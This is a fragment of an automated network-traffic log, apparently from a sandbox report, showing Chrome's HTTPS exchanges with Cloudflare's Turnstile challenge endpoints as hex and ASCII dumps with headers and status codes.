2024-11-22 21:59:49 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4b 46 70 2d 63 61 62 34 76 39 6e 49 35 7a 41 45 34 56 79 54 72 6c 55 54 6b 41 68 54 7a 61 58 32 71 4c 75 4c 62 57 4c 50 37 79 34 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gKFp-cab4v9nI5zAE4VyTrlUTkAhTzaX2qLuLbWLP7y4AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-11-22 21:59:49 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49739	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:50 UTC	1176	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 27181 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:50 UTC	16384	OUT	Data Raw: 76 5f 38 65 36 63 33 30 31 63 62 38 36 30 31 38 38 35 3d 71 48 50 57 4d 30 79 70 49 79 50 30 48 33 63 32 59 32 6c 32 56 64 24 79 65 32 4d 57 70 54 32 67 32 6d 32 71 34 24 75 32 6f 62 32 37 57 24 67 5a 32 35 32 34 34 64 48 6f 34 32 51 24 32 71 44 57 79 24 32 5a 6c 75 57 57 32 25 32 62 57 64 63 32 35 73 44 30 4a 32 4f 57 58 45 32 36 57 33 24 32 6d 61 6c 75 79 66 32 79 5a 32 66 32 64 73 63 32 58 64 56 79 59 32 66 64 54 56 78 56 32 24 5a 79 52 79 31 4a 57 79 4e 62 4e 72 4d 2d 58 70 57 41 44 72 34 5a 34 79 43 24 56 38 44 41 6d 54 48 58 72 75 32 4a 35 75 53 70 34 32 2b 79 72 2d 2d 77 71 4d 48 73 77 46 5a 6b 79 67 48 33 45 75 24 72 50 70 31 69 34 50 4c 32 32 70 32 34 35 44 44 32 39 36 33 4a 76 64 46 68 75 62 2d 67 43 73 77 4e 6b 64 51 79 59 51 6f 74 4a 62 44 70 Data Ascii: v_8e6c301cb8601885=qHPWM0ypIyP0H3c2Y2l2Vd$ye2MWpT2g2m2q4$u2ob27W$gZ25244dHo42Q$2qDWy$2ZluWW2%2bWdc25sD0J2OWXE26W3$2maluyf2yZ2f2dsc2XdVyY2fdTVxV2$ZyRy1JWyNbNrM-XpWADr4Z4yC$V8DAmTHXru2J5uSp42+yr--wqMHswFZkygH3Eu$rPp1i4PL22p245DD2963JvdFhub-gCswNkdQyYQotJbDp
2024-11-22 21:59:50 UTC	10797	OUT	Data Raw: 47 71 4e 58 55 31 61 57 58 34 45 2b 57 57 32 48 30 58 2d 4e 79 75 34 32 32 76 78 48 32 31 32 6f 57 79 54 79 42 32 4f 24 64 32 79 61 32 63 57 33 33 71 52 34 56 53 58 75 72 44 32 69 47 54 32 30 52 34 32 50 24 34 37 24 32 37 32 33 24 79 36 32 58 32 30 54 32 75 32 55 42 58 37 75 59 32 51 57 33 65 38 6a 48 69 32 56 5a 79 78 5a 4b 57 30 24 79 63 32 30 34 79 6e 6c 64 32 37 34 58 43 32 34 32 66 34 58 67 32 4d 32 66 46 56 45 79 63 50 33 54 58 36 32 2b 32 55 70 58 70 32 34 32 77 49 56 39 32 2d 32 58 34 58 72 32 34 32 4b 73 44 67 79 4b 32 79 24 64 68 73 71 57 63 57 30 42 32 45 32 6f 24 24 50 4c 32 74 62 69 32 70 79 4d 32 61 44 64 70 79 59 32 32 57 32 24 32 79 32 76 74 58 74 32 56 32 63 32 56 56 57 45 32 61 44 79 50 32 79 32 62 70 79 67 32 67 32 71 44 6c 57 79 69 74 Data Ascii: GqNXU1aWX4E+WW2H0X-Nyu422vxH212oWyTyB2O$d2ya2cW33qR4VSXurD2iGT20R42P$47$2723$y62X20T2u2UBX7uY2QW3e8jHi2VZyxZKW0$yc204ynld274XC242f4Xg2M2fFVEycP3TX62+2UpXp242wIV92-2X4Xr242KsDgyK2y$dhsqWcW0B2E2o$$PL2tbi2pyM2aDdpyY22W2$2y2vtXt2V2c2VVWE2aDyP2y2bpyg2g2qDlWyit
2024-11-22 21:59:51 UTC	334	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:51 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 22936 Connection: close cf-chl-gen: 63KEBtqh5aPfIqJwLBy/Qk9UBpD0g/sXLFTcu8auVLj35nlKFlHWNdJzVncPcZJjvkxVY6Q+0xom3lgMdA==$Zys3nnYaD6ZZCUd2 Server: cloudflare CF-RAY: 8e6c305dba6f199d-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:51 UTC	1035	IN	Data Raw: 78 62 69 2b 74 63 48 4b 67 72 53 54 76 63 33 48 76 63 2f 46 7a 4d 79 48 69 64 7a 66 6e 6f 54 63 7a 39 58 4d 32 4f 47 5a 79 38 69 65 7a 4b 32 59 30 35 71 76 6c 65 33 67 35 74 33 70 38 71 72 63 32 62 44 64 76 71 6e 6c 71 38 43 6d 70 36 69 70 41 65 7a 2b 72 65 33 79 39 76 44 31 2b 77 48 30 2b 51 77 52 75 64 65 37 2f 52 41 47 46 51 34 48 45 52 67 59 41 64 59 46 34 37 50 4b 79 38 7a 4e 4a 52 45 6a 30 53 59 5a 49 78 6f 4a 48 53 6f 76 49 43 38 78 33 66 76 66 49 6a 51 71 4f 54 49 72 4e 54 77 38 4a 66 73 70 43 4e 66 59 37 2f 44 78 38 6a 30 37 39 66 34 33 50 45 41 36 50 30 56 4b 50 6b 4e 56 57 68 46 56 4c 6c 68 51 4d 78 77 4b 4b 43 6b 71 44 68 38 5a 45 57 33 38 2f 52 55 57 46 78 67 5a 47 68 73 63 58 47 46 6c 58 32 52 71 62 32 4e 6f 65 6e 38 6f 52 69 71 47 46 69 30 Data Ascii: xbi+tcHKgrSTvc3Hvc/FzMyHidzfnoTcz9XM2OGZy8iezK2Y05qvle3g5t3p8qrc2bDdvqnlq8Cmp6ipAez+re3y9vD1+wH0+QwRude7/RAGFQ4HERgYAdYF47PKy8zNJREj0SYZIxoJHSovIC8x3fvfIjQqOTIrNTw8JfspCNfY7/Dx8j079f43PEA6P0VKPkNVWhFVLlhQMxwKKCkqDh8ZEW38/RUWFxgZGhscXGFlX2Rqb2Noen8oRiqGFi0
2024-11-22 21:59:51 UTC	1369	IN	Data Raw: 35 65 6e 74 38 66 58 37 56 32 62 6a 55 31 5a 69 66 68 74 37 52 31 38 37 61 34 35 76 4e 30 74 62 51 31 64 76 67 31 4f 58 6e 37 4b 66 64 34 2b 69 2b 37 75 6a 32 79 75 61 76 6a 71 57 6d 70 36 69 70 71 71 75 73 72 61 36 76 73 4f 72 67 35 4f 37 47 30 4c 63 51 41 77 6b 41 44 42 58 4d 2f 67 51 49 41 67 63 4e 45 67 59 58 47 52 37 59 44 78 55 61 37 79 41 61 42 52 77 6f 47 69 45 63 4d 65 54 44 32 74 76 63 33 64 37 66 34 4f 48 69 34 2b 54 6c 46 53 73 56 4c 54 51 42 42 2b 31 47 4f 54 38 32 51 6b 73 44 4e 54 6f 2b 4f 44 31 44 53 44 78 4e 54 31 51 50 52 55 74 51 4a 6c 5a 51 4b 55 78 65 56 46 74 62 47 76 67 51 45 52 49 54 46 42 55 57 46 78 67 5a 47 68 74 47 55 6b 6c 58 64 54 59 38 49 33 74 75 64 47 74 33 67 44 68 71 62 33 4e 74 63 6e 68 39 63 59 4b 45 69 55 52 36 67 49 Data Ascii: 5ent8fX7V2bjU1Zifht7R187a45vN0tbQ1dvg1OXn7Kfd4+i+7uj2yuavjqWmp6ipqqusra6vsOrg5O7G0LcQAwkADBXM/gQIAgcNEgYXGR7YDxUa7yAaBRwoGiEcMeTD2tvc3d7f4OHi4+TlFSsVLTQBB+1GOT82QksDNTo+OD1DSDxNT1QPRUtQJlZQKUxeVFtbGvgQERITFBUWFxgZGhtGUklXdTY8I3tudGt3gDhqb3Ntcnh9cYKEiUR6gI
2024-11-22 21:59:51 UTC	1369	IN	Data Raw: 67 49 47 43 67 34 54 63 75 38 6d 36 6f 61 53 4c 34 39 62 63 30 39 2f 6f 6f 4e 4c 58 32 39 58 61 34 4f 58 5a 36 75 7a 78 72 50 58 4a 30 2b 6e 58 74 36 57 7a 70 77 44 79 2b 4f 2f 37 42 62 7a 75 38 2f 66 78 39 76 77 43 39 51 63 4a 44 73 6a 65 37 68 59 49 34 74 54 4e 72 4d 50 45 78 63 62 48 79 4d 6e 4b 79 38 7a 4e 7a 76 51 6c 43 52 6a 32 36 65 2f 57 4c 79 49 6f 48 79 73 30 36 78 34 6a 4a 79 45 6d 4c 44 45 6c 4e 6a 67 39 39 78 42 41 4a 44 4d 53 42 66 7a 62 38 76 50 30 39 66 62 33 2b 50 6e 36 2b 2f 7a 39 4b 6b 74 45 4b 43 73 61 48 77 5a 65 55 56 64 4f 57 6d 4d 62 54 56 4a 57 55 46 56 62 59 46 52 6c 5a 32 77 6e 52 57 5a 66 51 30 59 31 4c 41 73 69 49 79 51 6c 4a 69 63 6f 4b 59 64 47 46 68 63 75 4c 7a 41 78 4d 6a 4d 30 4e 59 78 34 69 6a 6d 41 6a 59 75 4b 59 59 65 Data Ascii: gIGCg4Tcu8m6oaSL49bc09/ooNLX29Xa4OXZ6uzxrPXJ0+nXt6WzpwDy+O/7Bbzu8/fx9vwC9QcJDsje7hYI4tTNrMPExcbHyMnKy8zNzvQlCRj26e/WLyIoHys06x4jJyEmLDElNjg99xBAJDMSBfzb8vP09fb3+Pn6+/z9KktEKCsaHwZeUVdOWmMbTVJWUFVbYFRlZ2wnRWZfQ0Y1LAsiIyQlJicoKYdGFhcuLzAxMjM0NYx4ijmAjYuKYYe
2024-11-22 21:59:51 UTC	1369	IN	Data Raw: 6f 65 49 6a 35 43 4c 30 4e 7a 52 35 4e 33 57 34 4f 65 69 31 2b 58 62 38 61 66 6a 36 65 72 69 38 4d 66 55 7a 73 36 6a 77 63 4c 44 70 36 2f 6c 2b 4c 4b 57 72 61 36 76 73 4c 47 79 73 37 53 31 74 72 65 34 76 38 43 37 41 51 30 43 46 51 34 48 45 52 6a 53 44 67 77 4a 44 64 63 4f 47 78 6f 65 45 43 49 57 39 53 49 58 4b 69 4d 63 4a 69 30 4b 4b 69 38 6d 4d 69 67 76 4c 2b 6b 6e 4d 79 67 37 4e 43 30 33 50 76 67 75 50 44 4a 49 2b 4e 72 78 38 76 50 30 39 66 62 33 2b 50 6e 36 2b 2f 77 45 42 51 42 59 53 31 46 49 56 46 30 56 52 30 78 51 53 6b 39 56 57 6b 35 66 59 57 59 68 4f 47 41 2f 54 55 6b 74 4b 47 78 78 59 6e 42 34 55 32 5a 75 61 47 64 35 64 58 6b 77 4d 48 31 2f 68 58 6c 7a 4e 6a 6b 2f 64 59 4b 42 68 58 65 4a 66 56 32 4a 66 70 47 4b 67 34 32 55 63 5a 47 57 6a 5a 6d 50 Data Ascii: oeIj5CL0NzR5N3W4Oei1+Xb8afj6eri8MfUzs6jwcLDp6/l+LKWra6vsLGys7S1tre4v8C7AQ0CFQ4HERjSDgwJDdcOGxoeECIW9SIXKiMcJi0KKi8mMigvL+knMyg7NC03PvguPDJI+Nrx8vP09fb3+Pn6+/wEBQBYS1FIVF0VR0xQSk9VWk5fYWYhOGA/TUktKGxxYnB4U2ZuaGd5dXkwMH1/hXlzNjk/dYKBhXeJfV2JfpGKg42UcZGWjZmP
2024-11-22 21:59:51 UTC	1369	IN	Data Raw: 48 64 35 70 37 51 31 64 6e 54 32 4e 37 6a 31 2b 6a 71 37 36 72 42 36 63 6a 57 30 72 61 78 39 66 72 72 2b 51 4c 63 37 2f 66 78 38 41 50 2b 41 37 6d 35 39 2f 30 4d 76 63 44 42 75 63 43 37 78 4f 73 4f 42 41 62 50 35 76 4c 6e 2b 76 50 73 39 76 30 4b 2b 2f 73 42 39 77 54 35 41 51 45 54 2b 50 34 4b 2b 67 67 49 43 51 45 41 45 67 51 45 34 44 37 69 45 6a 51 71 4c 50 55 4e 47 51 34 68 47 68 4d 64 4a 44 41 69 49 69 63 65 4b 69 41 6e 4a 7a 6b 68 4b 79 6b 71 4c 6a 63 71 4d 43 6f 45 59 51 59 31 56 30 31 50 47 54 41 38 4d 55 51 39 4e 6b 42 48 55 30 56 46 53 6b 46 4e 51 30 70 4b 58 45 64 4d 55 45 31 48 55 45 6c 54 57 6b 68 63 55 6c 6c 5a 61 32 42 65 56 46 4e 61 57 46 78 58 50 69 41 33 4f 44 6b 36 4f 7a 77 39 50 6e 78 4a 58 43 78 44 52 45 56 47 70 44 49 7a 53 6b 74 4d 54 Data Ascii: Hd5p7Q1dnT2N7j1+jq76rB6cjW0rax9frr+QLc7/fx8AP+A7m59/0MvcDBucC7xOsOBAbP5vLn+vPs9v0K+/sB9wT5AQET+P4K+ggICQEAEgQE4D7iEjQqLPUNGQ4hGhMdJDAiIiceKiAnJzkhKykqLjcqMCoEYQY1V01PGTA8MUQ9NkBHU0VFSkFNQ0pKXEdMUE1HUElTWkhcUllZa2BeVFNaWFxXPiA3ODk6Ozw9PnxJXCxDREVGpDIzSktMT
2024-11-22 21:59:51 UTC	1369	IN	Data Raw: 55 6c 5a 61 58 6d 4a 6e 78 35 4f 72 68 37 66 61 75 34 73 7a 62 31 62 57 75 73 4d 4f 54 71 71 75 73 72 61 36 76 73 4c 47 79 73 37 53 31 74 72 65 34 75 52 6a 48 76 4d 37 4f 7a 39 44 4b 33 61 33 45 78 63 62 48 79 4d 6e 4b 79 38 7a 4e 7a 73 38 75 46 78 38 6e 47 6a 48 41 31 39 6a 5a 32 74 76 63 33 64 37 66 34 4f 48 69 34 2b 54 6c 35 69 73 78 4c 54 39 45 4b 50 51 65 4e 6a 4e 42 51 67 6e 37 4d 2f 59 56 2b 41 34 57 35 66 7a 39 2f 67 41 42 41 67 4d 45 42 51 59 48 43 41 6b 4b 43 77 78 51 56 6c 4a 6b 61 55 30 61 51 47 30 2b 4f 6d 6b 75 49 56 67 6b 4a 67 67 66 49 43 45 69 49 79 51 6c 4a 69 63 6f 4b 53 71 49 46 69 30 75 4c 7a 41 78 4d 6a 4d 30 4e 54 59 33 4f 48 36 51 67 49 71 52 54 49 2b 53 68 70 69 49 6b 70 6c 71 6a 49 36 4b 6e 35 65 67 56 56 64 71 4f 6c 46 53 55 31 Data Ascii: UlZaXmJnx5Orh7fau4szb1bWusMOTqqusra6vsLGys7S1tre4uRjHvM7Oz9DK3a3ExcbHyMnKy8zNzs8uFx8nGjHA19jZ2tvc3d7f4OHi4+Tl5isxLT9EKPQeNjNBQgn7M/YV+A4W5fz9/gABAgMEBQYHCAkKCwxQVlJkaU0aQG0+OmkuIVgkJggfICEiIyQlJicoKSqIFi0uLzAxMjM0NTY3OH6QgIqRTI+ShpiIkplqjI6Kn5egVVdqOlFSU1
2024-11-22 21:59:51 UTC	1369	IN	Data Raw: 6d 2f 65 48 6e 70 2b 67 6f 61 4b 6a 70 4b 57 6d 70 36 69 70 41 65 7a 2b 72 66 4d 43 41 77 45 46 33 41 50 37 42 75 62 36 42 41 44 2b 45 62 33 62 76 78 79 72 77 73 50 45 78 63 62 48 79 4d 6e 4b 79 38 7a 4e 7a 73 2f 51 30 53 41 6e 48 4f 2f 57 4a 53 77 68 35 73 58 63 33 64 37 66 34 4f 48 69 34 2b 54 6c 35 75 66 6f 36 65 72 72 51 6b 41 37 43 76 42 48 52 55 41 42 33 2f 62 33 2b 50 6e 36 2b 2f 7a 39 2f 67 41 42 41 67 4d 45 42 51 5a 54 55 56 64 50 4f 56 73 6e 44 6c 74 5a 58 31 64 42 59 79 45 41 46 78 67 5a 47 68 73 63 48 52 34 66 49 43 45 69 49 79 51 6c 4a 6d 70 33 64 58 39 34 65 6c 74 39 53 54 42 30 67 58 2b 4a 67 6f 52 6c 68 30 55 6b 4f 7a 77 39 50 6a 39 41 51 55 4a 44 52 45 56 47 52 30 68 4a 53 70 43 65 6e 35 32 68 61 6c 47 58 70 61 61 6b 71 45 46 59 57 56 70 Data Ascii: m/eHnp+goaKjpKWmp6ipAez+rfMCAwEF3AP7Bub6BAD+Eb3bvxyrwsPExcbHyMnKy8zNzs/Q0SAnHO/WJSwh5sXc3d7f4OHi4+Tl5ufo6errQkA7CvBHRUAB3/b3+Pn6+/z9/gABAgMEBQZTUVdPOVsnDltZX1dBYyEAFxgZGhscHR4fICEiIyQlJmp3dX94elt9STB0gX+JgoRlh0UkOzw9Pj9AQUJDREVGR0hJSpCen52halGXpaakqEFYWVp
2024-11-22 21:59:51 UTC	1369	IN	Data Raw: 75 72 76 33 73 61 2b 77 61 69 32 2b 50 41 45 72 64 4c 77 42 66 61 36 76 4d 4c 38 2b 77 7a 73 41 77 67 42 78 4d 61 6f 76 38 44 42 77 69 48 66 72 38 62 48 79 4d 6d 30 79 38 7a 4e 7a 67 38 4d 45 51 37 6b 45 68 50 57 39 4e 6a 67 4c 79 77 75 4b 2f 50 6d 2b 38 76 69 34 2b 54 6c 4b 54 6f 75 4b 7a 59 48 31 6a 45 77 51 7a 62 78 2b 54 63 2f 51 7a 45 6a 43 51 45 56 35 66 7a 39 2f 67 42 41 52 55 6c 44 53 45 35 54 52 30 78 65 59 78 6f 35 52 46 64 42 4e 53 55 54 4d 52 56 52 56 44 4d 44 47 68 73 63 48 56 31 69 5a 6d 42 6c 61 33 42 6b 61 58 75 41 4e 32 74 56 56 56 4d 2b 4c 30 30 78 4e 47 42 69 53 6b 68 38 6a 6f 5a 35 69 6e 43 48 61 6d 56 36 6c 6d 78 38 61 33 2b 61 59 4a 75 67 68 48 32 62 57 6e 53 53 6e 32 68 7a 68 71 6d 42 72 70 69 4f 6e 33 79 41 6e 58 56 67 65 6b 70 68 Data Ascii: urv3sa+wai2+PAErdLwBfa6vML8+wzsAwgBxMaov8DBwiHfr8bHyMm0y8zNzg8MEQ7kEhPW9NjgLywuK/Pm+8vi4+TlKTouKzYH1jEwQzbx+Tc/QzEjCQEV5fz9/gBARUlDSE5TR0xeYxo5RFdBNSUTMRVRVDMDGhscHV1iZmBla3BkaXuAN2tVVVM+L00xNGBiSkh8joZ5inCHamV6lmx8a3+aYJughH2bWnSSn2hzhqmBrpiOn3yAnXVgekph

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49740	104.18.94.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:52 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:53 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 21:59:52 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: TAmxsVsAy4Z5rpWtscQFoKUqw4ZSgNMRVDQ=$mT1C5r5fYoZp51Ri Server: cloudflare CF-RAY: 8e6c306bdf8aefa7-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:53 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49741	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:56 UTC	1176	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 29207 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:56 UTC	16384	OUT	Data Raw: 76 5f 38 65 36 63 33 30 31 63 62 38 36 30 31 38 38 35 3d 71 48 50 57 4d 30 79 70 49 79 50 30 48 33 63 32 59 32 6c 32 56 64 24 79 65 32 4d 57 70 54 32 67 32 6d 32 71 34 24 75 32 6f 62 32 37 57 24 67 5a 32 35 32 34 34 64 48 6f 34 32 51 24 32 71 44 57 79 24 32 5a 6c 75 57 57 32 25 32 62 57 64 63 32 35 73 44 30 4a 32 4f 57 58 45 32 36 57 33 24 32 6d 61 6c 75 79 66 32 79 5a 32 66 32 64 73 63 32 58 64 56 79 59 32 66 64 54 56 78 56 32 24 5a 79 52 79 31 4a 57 79 4e 62 4e 72 4d 2d 58 70 57 41 44 72 34 5a 34 79 43 24 56 38 44 41 6d 54 48 58 72 75 32 4a 35 75 53 70 34 32 2b 79 72 2d 2d 77 71 4d 48 73 77 46 5a 6b 79 67 48 33 45 75 24 72 50 70 31 69 34 50 4c 32 32 70 32 34 35 44 44 32 39 36 33 4a 76 64 46 68 75 62 2d 67 43 73 77 4e 6b 64 51 79 59 51 6f 74 4a 62 44 70 Data Ascii: v_8e6c301cb8601885=qHPWM0ypIyP0H3c2Y2l2Vd$ye2MWpT2g2m2q4$u2ob27W$gZ25244dHo42Q$2qDWy$2ZluWW2%2bWdc25sD0J2OWXE26W3$2maluyf2yZ2f2dsc2XdVyY2fdTVxV2$ZyRy1JWyNbNrM-XpWADr4Z4yC$V8DAmTHXru2J5uSp42+yr--wqMHswFZkygH3Eu$rPp1i4PL22p245DD2963JvdFhub-gCswNkdQyYQotJbDp
2024-11-22 21:59:56 UTC	12823	OUT	Data Raw: 47 71 4e 58 55 31 61 57 58 34 45 2b 57 57 32 48 30 58 2d 4e 79 75 34 32 32 76 78 48 32 31 32 6f 57 79 54 79 42 32 4f 24 64 32 79 61 32 63 57 33 33 71 52 34 56 53 58 75 72 44 32 69 47 54 32 30 52 34 32 50 24 34 37 24 32 37 32 33 24 79 36 32 58 32 30 54 32 75 32 55 42 58 37 75 59 32 51 57 33 65 38 6a 48 69 32 56 5a 79 78 5a 4b 57 30 24 79 63 32 30 34 79 6e 6c 64 32 37 34 58 43 32 34 32 66 34 58 67 32 4d 32 66 46 56 45 79 63 50 33 54 58 36 32 2b 32 55 70 58 70 32 34 32 77 49 56 39 32 2d 32 58 34 58 72 32 34 32 4b 73 44 67 79 4b 32 79 24 64 68 73 71 57 63 57 30 42 32 45 32 6f 24 24 50 4c 32 74 62 69 32 70 79 4d 32 61 44 64 70 79 59 32 32 57 32 24 32 79 32 76 74 58 74 32 56 32 63 32 56 56 57 45 32 61 44 79 50 32 79 32 62 70 79 67 32 67 32 71 44 6c 57 79 69 74 Data Ascii: GqNXU1aWX4E+WW2H0X-Nyu422vxH212oWyTyB2O$d2ya2cW33qR4VSXurD2iGT20R42P$47$2723$y62X20T2u2UBX7uY2QW3e8jHi2VZyxZKW0$yc204ynld274XC242f4Xg2M2fFVEycP3TX62+2UpXp242wIV92-2X4Xr242KsDgyK2y$dhsqWcW0B2E2o$$PL2tbi2pyM2aDdpyY22W2$2y2vtXt2V2c2VVWE2aDyP2y2bpyg2g2qDlWyit
2024-11-22 21:59:57 UTC	1343	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4144 Connection: close cf-chl-out-s: b4POh8SjYCC+1mfu0e8veay1J/Pwfqj4ZIQI7Yi5jBUDFWnxdI+AUuTr86DXMwVf/5XjI5dkQW7CdWeAd4uAyJsuH6c6xyLzORrLSFZKKlOc3mon4Xmv+2GY+YA0qXge41YMcvrLpsebpkxfwMVEO7/PqCLjq66QAa1NbfHnvfGHv6caAF+xTVLVKQzPD7TN1L1F6c47dWr/AdQGR+ceZnH2G2XcWQN5ryn/keDygBrjLIascnJOdiH3h9AVfw7Zn2moe8oKMMg6B8uwA6x7UJFCN4UJVfeE9Li5dRrnScMD/UaEeG/7waBUJe8LwMq38ztTnsGN21bKkQpAXUfsPJ22M/vgL2k6GSxY4T99IDv5a4/AKAvMRM0DEJQRjxMKtpkNtJb23L5jRPnDMMrlM0npC1cXuGbTWyeQMrW/icSIOsh581nMYUxRzU57T4QvM7qOIjDUvUNqj4HpYCrRRdKLDiorFwPTe+UpCYxSPZ7CL6mJoGMPasfp2n5JScXxPNWzrgA7yHEXW1dUs4OAqu/c4FqZ4TwVwjs2p05Q6qESJq5/WKpf9pkM2xWyX0/qOwyDhgtHUPoGGPmo9Y5jBBIIMEIf/JRFBVtLE0Vp3EMvGc2xVZFQzWtBt9Wd7VrQJfSkupz4ASPqCFvQvNfzQmjDdS3wCeHOUOOaRI5ZeN0oCvbStHf54RDbyDL0y8myBOiMfTCqaTjOcm/bVQ/QEvTClQeVNV9r/rE/oKERM3NmVlX7WE7irxsLF8PuO8QYTmyrq8tZ01xi8ggbua95bII5CaEgvvYWci5hIXF1BM4nrOP/5is9l3qOeJ+H+4tx0Q/p/rvm+dMe+1f5UP7e/XUHrBphdeJGcR5G9V5SIulGLEO9HCRt0qRRWi//K0HCuysS7XeaS1Lkm2Npn/B+RPstAiZe6zhjI0ugIz3T+jnViOAPHhTxxj6oZXylOs/RPsx+PB0kYkus8WBrZsnSVvgcQFmWC6HtIFyx0tkvq+Q=$z4q5G [TRUNCATED] cf-chl-out: 